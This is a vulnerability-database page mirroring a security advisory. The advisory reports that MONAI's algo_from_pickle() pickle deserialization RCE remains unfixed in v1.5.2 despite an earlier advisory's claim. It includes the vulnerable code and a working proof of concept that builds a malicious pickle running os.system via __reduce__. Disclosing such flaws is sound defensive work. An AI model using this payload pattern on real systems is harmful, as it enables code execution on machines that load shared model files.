GHSA-QXQ5-QHX6-94QW

Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22
VLAI
Summary
Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch
Details

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

## Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here

  # isinstance/key checks happen AFTER deserialization — already too late

  algo_bytes = data.pop("algo_bytes")
  ...
  if len(template_paths_candidates) == 0:
      algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
  else:
      for p in template_paths_candidates:
          algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

  • monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
  • v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
  • v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
  • GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit: def reduce(self): return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires

print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:22:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 \u2014 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 \u2014 line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization \u2014 already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 \u2014 line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 \u2014 line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 \u2014 release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, (\u0027id \u003e /tmp/rce_proof.txt\u0027,))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger \u2014 monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires \u2014 RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.",
  "id": "GHSA-qxq5-qhx6-94qw",
  "modified": "2026-08-18T20:22:30Z",
  "published": "2026-08-18T20:22:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-89gg-p5r5-q6r4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.